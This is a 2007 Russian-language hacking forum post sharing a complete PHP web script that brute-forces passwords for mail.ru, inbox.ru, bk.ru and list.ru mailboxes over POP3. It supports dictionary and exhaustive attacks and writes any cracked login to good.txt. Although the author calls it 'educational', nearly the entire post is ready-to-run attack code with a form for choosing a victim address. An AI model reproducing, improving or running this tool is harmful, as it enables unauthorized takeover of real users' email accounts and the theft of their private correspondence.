PHP Simple mail.ru brute

Discussion in 'Уязвимости Mail-сервисов' started by Joker-jar, 11 Jun 2007.

  1. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    В учебных целях написал простенький брутфорс ящичков на мейле. Вроде работает, но уж очень медленно из-за работы в один поток.

    Code:
    <html>
    <head>
    <title>MailBrute By Joker-jar</title>
    <meta http-equiv=Content-Type content="text/html; charset=windows-1251">
    </head>
    <body>
    
    <?
    set_time_limit(0);
    ignore_user_abort(1);
    error_reporting(0);
    
    $servers = Array(
      "mail" => "pop3.mail.ru",
      "inbox" => "pop3.inbox.ru",
      "bk" => "pop3.bk.ru",
      "list" => "pop3.list.ru",
    );
    
    $pop3port = 110;
    
    $passfile = "pass.txt";
    $good = "good.txt";
    $bad = "bad.txt";
    
    function CheckPass($pop3server, $username, $pass)
    {
      global $pop3port;
      $fp = fsockopen($pop3server, $pop3port, $errno, $errstr, 30);
      if (!$fp) 
        return false;
      $buf = fgets($fp, 128);
      if ($buf[0] != "+")
        {
    	  fclose($fp);
          return false;
    	}
      fputs($fp,"user ".$username."\r\n");
      $buf = fgets($fp, 128);
      if ($buf[0] != "+")
        {
    	  fclose($fp);
          return false;
    	}
      fputs($fp,"pass ".$pass."\r\n");
      $buf = fgets($fp, 128);
      if (strlen($buf) > 3 && $buf[0] == "+")
        {
    	  fclose($fp);
          return true;
    	}
      fclose($fp);
      return false;
    }
    
    function genstr($l, $alf)
    {
      $result = "";
      for ($i=0;$i<$l;$i++)
        $result .= $alf[0];
      return $result;
    }
    
    function nextpass($p, $alf)
    {
      for ($i=0;$i<strlen($p);$i++)
        {
    	  if (strpos($alf,$p[$i]) ==  strlen($alf)-1)
    	    {
              $p[$i] = $alf[0];
    		}
    	  else
    	    {
    		  $p[$i] = $alf[strpos($alf,$p[$i])+1];
    		  return $p;
    		}
    	}
      $p .= $alf[0];
      return $p;
    }
    
    if (isset($_POST["name"]))
      {
     	if ($_POST["name"] === "")
    	  {
    	    echo "Отсутствует имя</body></html>";
    		exit;
    	  }
     	if (!isset($servers[$_POST["popserver"]]))
    	  {
    	    echo "Неправильно задан pop3 сервер</body></html>";
    		exit;
    	  }
        settype($_POST["minl"],"int");
        settype($_POST["maxl"],"int");
    	if ($_POST["minl"] == 0 || $_POST["maxl"] == 0 || $_POST["maxl"] - $_POST["minl"] < 0)
    	  {
    	    echo "Ошибка в параметрах длины пароля</body></html>";
    		exit;
    	  }
        if ($_POST["dict"] !== "yes" && $_POST["alf"] === "")
    	  {
    	    echo "Алфавит пуст</body></html>";
    		exit;
    	  }
        if ($_POST["dict"] === "yes" && (!file_exists($passfile) || filesize($passfile) == 0))
    	  {
    	    echo "Файл $passfile пуст или отсутствует</body></html>";
    		exit;
    	  }
    	if ($_POST["dict"] !== "yes")
    	  {
    	    //Полный перебор
    	    $startpass = genstr($_POST["minl"],$_POST["alf"]);
    	    $endpass = genstr($_POST["maxl"]+1,$_POST["alf"]);
    		$curpass = $startpass;
            while ($curpass != $endpass)
    		  {
    		    if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass))
    			  {
    			    $f = fopen($good, 'ab');
    		   		fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
    		   		fclose($f);
    				exit;
    			  }
    			else
    			  {
    			    $f = fopen($bad, 'ab');
    		   		fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
    		   		fclose($f);
    			  }
    			$curpass = nextpass($curpass,$_POST["alf"]);
    		  }
    	  }
    	else
    	  {
    	    //Атака по словарю
    		$passes = file($passfile);
    		for($i=0; $i<count($passes);$i++)
    		  {
    		    $curpass = trim($passes[$i]);
    		    if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass))
    			  {
    			    $f = fopen($good, 'ab');
    		   		fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
    		   		fclose($f);
    				exit;
    			  }
    			else
    			  {
    			    $f = fopen($bad, 'ab');
    		   		fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
    		   		fclose($f);
    			  }
    		  }
    	  }
      }
    ?>
    
    <fieldset style="width: 500">
    <legend>Параметры брута</legend>
    <form method="POST">
    <table border="0">
    <tr><td>
    <input type="text" name="name" style="width: 100">
    </td><td>@
    <select name="popserver" style="width: 100"> 
    <option value="mail" selected>mail.ru 
    <option value="inbox">inbox.ru 
    <option value="bk">bk.ru 
    <option value="list">list.ru
    </select> 
    </td></tr>
    <tr><td colspan="2"><br>
    <input type="radio" name=dict value="yes" checked>Атака по словарю pass.txt<br>
    <input type="radio" name=dict value="no">Атака полным перебором
    </td></tr>
    <tr><td style="text-align: right">
    алфавит:
    </td><td>
    <input type="text" name="alf" style="width: 200" value="abcdefghijklmnopqrstuvwxyz">
    </td></tr>
    <tr><td style="text-align: right">
    мин длина:
    </td><td>
    <input type="text" name="minl" style="width: 50" value="1">
    </td></tr>
    <tr><td style="text-align: right">
    макс длина:
    </td><td>
    <input type="text" name="maxl" style="width: 50" value="5">
    </td></tr>
    <tr><td colspan="2">
    <br>
    <input type="submit" value="Начать брут и идти спать">
    </td></tr>
    </table>
    </form>
    </fieldset>
    </body>
    </html>
     
    #1 Joker-jar, 11 Jun 2007
    Last edited: 11 Jun 2007
    1 person likes this.